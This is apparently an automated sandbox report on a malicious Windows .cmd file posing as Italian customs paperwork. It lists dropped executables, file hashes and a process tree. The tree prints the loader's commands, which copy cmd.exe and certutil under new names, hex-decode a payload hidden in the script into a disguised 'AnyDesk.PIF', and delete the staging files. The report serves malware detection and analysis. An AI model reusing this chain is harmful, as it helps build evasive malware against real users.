13e2c237c2fa5b146ada50ad1be0be71832e42b745f2bc82daa52558807a7aa6

Analysis

max time kernel
117s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
26-11-2024 08:05

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General

Target

Documentazione_Doganale_richieste_di_copia.cmd
Size

3.4MB
MD5

e83eaefa47746764ed0708da11cf890f
SHA1

5986d2e1da1d6fa42825ae627ee688cac4530fd7
SHA256

13e2c237c2fa5b146ada50ad1be0be71832e42b745f2bc82daa52558807a7aa6
SHA512

d69fe44a64af8693c5d15dcc0d3773e3b30da540f90be0ba3addd1bbcf99c26632572f1a4eccf1838ac60da4e0d27b5700a4ebeeac8448f3c822e67399a9d251
SSDEEP

49152:f6DzaZKYLJqhTLqP8gTM0BiuWSIRbWRIi9b:v

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 8 IoCs

Processes:

alpha.exealpha.exekn.exealpha.exekn.exeAnyDesk.PIFalpha.exealpha.exe

pid	Process
2076	alpha.exe
2380	alpha.exe
2792	kn.exe
1996	alpha.exe
2500	kn.exe
2860	AnyDesk.PIF
2892	alpha.exe
2732	alpha.exe

Loads dropped DLL 9 IoCs

Processes:

cmd.exealpha.exealpha.exeWerFault.exe

pid	Process
2100	cmd.exe
2100	cmd.exe
2380	alpha.exe
2100	cmd.exe
1996	alpha.exe
2100	cmd.exe
2100	cmd.exe
2284	WerFault.exe
2284	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
2284	2860	WerFault.exe	38

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

AnyDesk.PIF

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.PIF

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

AnyDesk.PIF

pid	Process
2860	AnyDesk.PIF

Suspicious use of WriteProcessMemory 35 IoCs

Processes:

cmd.exealpha.exealpha.exealpha.exeAnyDesk.PIF

description	pid	Process	procid_target
PID 2100 wrote to memory of 2016	2100	cmd.exe	31
PID 2100 wrote to memory of 2016	2100	cmd.exe	31
PID 2100 wrote to memory of 2016	2100	cmd.exe	31
PID 2100 wrote to memory of 2076	2100	cmd.exe	32
PID 2100 wrote to memory of 2076	2100	cmd.exe	32
PID 2100 wrote to memory of 2076	2100	cmd.exe	32
PID 2076 wrote to memory of 2372	2076	alpha.exe	33
PID 2076 wrote to memory of 2372	2076	alpha.exe	33
PID 2076 wrote to memory of 2372	2076	alpha.exe	33
PID 2100 wrote to memory of 2380	2100	cmd.exe	34
PID 2100 wrote to memory of 2380	2100	cmd.exe	34
PID 2100 wrote to memory of 2380	2100	cmd.exe	34
PID 2380 wrote to memory of 2792	2380	alpha.exe	35
PID 2380 wrote to memory of 2792	2380	alpha.exe	35
PID 2380 wrote to memory of 2792	2380	alpha.exe	35
PID 2100 wrote to memory of 1996	2100	cmd.exe	36
PID 2100 wrote to memory of 1996	2100	cmd.exe	36
PID 2100 wrote to memory of 1996	2100	cmd.exe	36
PID 1996 wrote to memory of 2500	1996	alpha.exe	37
PID 1996 wrote to memory of 2500	1996	alpha.exe	37
PID 1996 wrote to memory of 2500	1996	alpha.exe	37
PID 2100 wrote to memory of 2860	2100	cmd.exe	38
PID 2100 wrote to memory of 2860	2100	cmd.exe	38
PID 2100 wrote to memory of 2860	2100	cmd.exe	38
PID 2100 wrote to memory of 2860	2100	cmd.exe	38
PID 2100 wrote to memory of 2892	2100	cmd.exe	39
PID 2100 wrote to memory of 2892	2100	cmd.exe	39
PID 2100 wrote to memory of 2892	2100	cmd.exe	39
PID 2860 wrote to memory of 2284	2860	AnyDesk.PIF	40
PID 2860 wrote to memory of 2284	2860	AnyDesk.PIF	40
PID 2860 wrote to memory of 2284	2860	AnyDesk.PIF	40
PID 2860 wrote to memory of 2284	2860	AnyDesk.PIF	40
PID 2100 wrote to memory of 2732	2100	cmd.exe	41
PID 2100 wrote to memory of 2732	2100	cmd.exe	41
PID 2100 wrote to memory of 2732	2100	cmd.exe	41

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Documentazione_Doganale_richieste_di_copia.cmd"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Windows\System32\extrac32.exe
  C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
  2⤵
  PID:2016
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
    3⤵
    PID:2372
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Documentazione_Doganale_richieste_di_copia.cmd" "C:\\Users\\Public\\AnyDesk.jpeg" 9
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Documentazione_Doganale_richieste_di_copia.cmd" "C:\\Users\\Public\\AnyDesk.jpeg" 9
    3⤵
    - Executes dropped EXE
    PID:2792
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
    3⤵
    - Executes dropped EXE
    PID:2500
- C:\Users\Public\Libraries\AnyDesk.PIF
  C:\Users\Public\Libraries\AnyDesk.PIF
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2860 -s 152
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:2284
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:2892
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.jpeg" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\AnyDesk.jpeg

Filesize
2.5MB

MD5
249b8941e9be56a05f2506bd021f97c0

SHA1
9719003f93839aa45568cf9ae911dde3745e1ce6

SHA256
43be45cca8380f82bfa444fcfc3f36223068f008cf552628ceb26858cebe8b9b

SHA512
420b1741e91984259c8527792e278e9880d842bb27aeed35f16eeaca04f6ea2ec186f3c7273f502ca31b8db00d5ffa37b6a4e135bc6c57a9b4dec79e152e7ef8

Download Submit
C:\Users\Public\Libraries\AnyDesk.PIF

Filesize
1.2MB

MD5
bceea9753420a675af68cda43864438e

SHA1
0823f156da4f106a26b5738cf9f732d5dd68cdd8

SHA256
b6a6a59c8b8387233be03bb2111830d4e8aafec6a62a290090ae75cbff5736ec

SHA512
8dcd35be032e853bc785615e63993deb71fa2ef35a20db9427c2a281f20ea4768b3754b4887d212cc5867ee36e470d47e33a7333cc9ca0a22196ff8371e51490

Download Submit
\Users\Public\alpha.exe

Filesize
337KB

MD5
5746bd7e255dd6a8afa06f7c42c1ba41

SHA1
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

SHA256
db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

SHA512
3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

Download Submit
\Users\Public\kn.exe

Filesize
1.1MB

MD5
ec1fd3050dbc40ec7e87ab99c7ca0b03

SHA1
ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

SHA256
1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

SHA512
4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

Download Submit
memory/2860-36-0x0000000000400000-0x0000000000547000-memory.dmp

Filesize
1.3MB

Download
memory/2860-37-0x0000000000400000-0x0000000000547000-memory.dmp

Filesize
1.3MB

Download